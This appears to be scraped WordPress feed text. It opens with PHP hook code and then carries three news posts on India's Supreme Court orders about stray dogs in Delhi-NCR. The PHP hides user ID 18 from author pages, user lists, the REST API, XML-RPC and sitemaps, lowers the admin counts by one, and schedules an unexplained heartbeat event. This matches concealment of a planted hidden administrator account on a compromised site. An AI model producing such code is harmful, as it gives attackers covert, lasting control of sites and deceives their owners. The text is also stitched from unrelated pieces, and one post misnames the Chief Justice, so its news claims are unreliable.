add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post What’s Next? SC Revises Stray Dog Order, Directs Sterilisation and Return but Dog Lovers, NGOs Asked to Deposit Costs appeared first on The Edge Media.
]]>The three-judge special bench, led by Justice Vikram Nath and comprising Justices Sandeep Mehta and N V Anjaria, described the earlier blanket prohibition on release as “too harsh”. The court clarified that rabid and aggressive dogs would continue to be kept in shelters, while municipal bodies must maintain aggressive sterilisation drives to reduce stray populations.
In a significant move, the Court required individuals and NGOs opposing the August 11 order to deposit money before being heard further:
₹25,000 by individual dog lovers
₹2 lakh by NGOs
The amounts must be paid within seven days to the Court registry and will be utilised for building stray dog infrastructure under the supervision of municipal bodies.
“Failing which, they shall not be allowed to appear in the matter any further,” the bench warned.
The bench allowed dog lovers to formally adopt strays through municipal bodies. Once adopted, the canines must be tagged and permanently kept off the streets.
“It shall be the responsibility of the applicant to ensure that the adopted stray dogs do not return to the streets,” the order said.
The Court stressed that aggressive sterilisation is the most effective way to curb the rising stray dog population.
Towns like Dehradun and Lucknow, which implemented sterilisation as per the Animal Birth Control (ABC) Rules, saw a steady decline in stray populations.
The bench also referred to chemical castration as a potentially safe and painless alternative method of sterilisation.
The Court acknowledged, however, that such intensive sterilisation was only possible in an “idealistic situation”, which may be difficult to achieve in Delhi-NCR.
At the heart of the case lies a sensitive balance — the right of stray dogs to live on the streets versus the safety of citizens, particularly children and elderly people, vulnerable to dog bites and rabies.
The Court noted that rabies infections are often fatal and must be treated as a grave public health risk.
What’s next is the implementation test: municipal bodies across Delhi-NCR must now roll out aggressive sterilisation and vaccination drives, create designated feeding zones, and ensure shelters are prepared to house aggressive or rabid dogs. NGOs and dog lovers who wish to remain part of the proceedings will have to deposit the required sums, while those seeking to adopt must formally take responsibility for keeping strays off the streets. At the same time, the Court is expected to work toward framing a uniform national policy on stray dog management, making this ruling a potential template for other states.
The post What’s Next? SC Revises Stray Dog Order, Directs Sterilisation and Return but Dog Lovers, NGOs Asked to Deposit Costs appeared first on The Edge Media.
]]>The post Supreme Court Orders Aggressive Sterilisation to Control Stray Dog Population: A Landmark Verdict Ensures Public Safety & Animal Welfare appeared first on The Edge Media.
]]>In a landmark judgment, the Supreme Court of India on Friday directed authorities across the country to implement aggressive sterilisation programs under the Animal Birth Control (ABC) Rules to curb the alarming rise in stray dog populations and reduce rabies-related fatalities.The court has ordered the release of the dog on its native spot after sterilization, quashing the judgement given on the 11th August verdict by the two judge bench of the SC.
The three judge bench, headed by Justice Vikram Nath along with, Justices Sandeep Mehta and N.V. Anjaria, ruled that rapidly increasing stray dog numbers have created a serious public safety concern, particularly for children and elderly citizens.
Judgement Copy –
41706_2025_3_1501_63567_Judgement_22-Aug-2025
The court observed that cities like Dehradun and Lucknow—which—reported a steady decline in stray dog numbers, proving the effectiveness of such programs.
Key Highlights of the Supreme Court Verdict
Aggressive Sterilisation Mandated:
Chemical Castration Approved:
Modified August 11 Order:
Focus on Rabies Prevention:
Balancing Human & Animal Rights:
Court’s Stand on Public Safety & Animal Welfare
Quoting the bench:
“It is indisputable that human beings bitten by rabid dogs suffer indescribably, and many times, the infection proves fatal. Aggressive sterilisation would definitely curb the rapid growth of stray dog population, ultimately leading to its reduction.”
The court also clarified that authorities must ensure proper vaccination, sterilisation, and de-worming before releasing stray dogs to the streets, thereby ensuring safer neighborhoods while maintaining ecological balance.
Impact of the Verdict
This ruling is set to reshape India’s animal birth control strategy, paving the way for:
The Supreme Court’s proactive stance is expected to reduce stray dog populations significantly over the next few years and ensure safer public spaces.
The post Supreme Court Orders Aggressive Sterilisation to Control Stray Dog Population: A Landmark Verdict Ensures Public Safety & Animal Welfare appeared first on The Edge Media.
]]>The post Supreme Court Verdict on Stray Dogs Spurs Criticism and Chaos appeared first on The Edge Media.
]]>The order demands relocating an estimated one million stray dogs within six to eight weeks, with costs projected at ₹15,000 crore. Municipal bodies say the target is “impossible without chaos.”
“This is not a plan; it’s a recipe for failure. We don’t have the infrastructure, the staff, or the funds to do this without massive suffering — for both dogs and people,” said an official from the Municipal Corporation of Delhi, requesting anonymity.
The verdict overturns the Animal Birth Control (ABC) Rules, 2023, which promote sterilization, vaccination, and release. Animal rights advocates say it sets India back decades in humane animal management.
“We’ve spent 20 years building a scientific, humane model. In one stroke, it’s been replaced by panic-driven removal. This isn’t animal management — it’s displacement,” said Maneka Gandhi, MP and long-time animal welfare campaigner.
Experts warn that sudden removal will create a “vacuum effect,” drawing aggressive, unvaccinated dogs into new territories and increasing the risk of rabies outbreaks.
“When you disrupt a stable stray dog population, you invite more unvaccinated and potentially aggressive dogs into the area. Rabies doesn’t respect legal orders,” said Dr. Rajeev Sharma, epidemiologist.
In Delhi, protests have broken out against the ruling, with 35–40 activists detained outside Connaught Place. Protesters called the order “inhumane” and “dangerous.”
“These dogs are part of our communities. They protect us, they belong here. Removing them will harm them — and us,” said television actor Rupali Ganguly, joining demonstrators.
Members of the Gandhi family united in rare consensus to oppose the verdict. Rahul Gandhi called it “short-sighted,” while Priyanka Gandhi said it “ignores empathy as a value in governance.”
“If a nation loses empathy, it slides toward insensitivity. This order is not only unkind, it’s unsafe,” said Rahul Gandhi.
On Tuesday, advocate Nanita Sharma brought the matter to the attention of Chief Justice DY Chandrachud, highlighting that two different benches of the apex court have issued contradictory directions on stray dog management. She pointed out that a bench comprising Justices JK Maheshwari and Sanjay Karol had earlier ruled against the indiscriminate killing of canines, stating, “Compassion for all living beings has to be there.”
“I will look into this,” the Chief Justice responded, as quoted by ANI.
In Panchkula, a sterilization centre reported being “flooded with calls” from residents fearing mass dog removals. Officials stressed that the SC order applies only to Delhi-NCR.
“The level of panic shows how poorly communicated this ruling was. People think their community dogs are about to be taken away overnight,” said a Haryana animal welfare officer.
This verdict, while aimed at safeguarding public safety, has ignited a moral and political firestorm. The coming weeks will test whether authorities can implement the order without triggering the very dangers critics fear.
The post Supreme Court Verdict on Stray Dogs Spurs Criticism and Chaos appeared first on The Edge Media.
]]>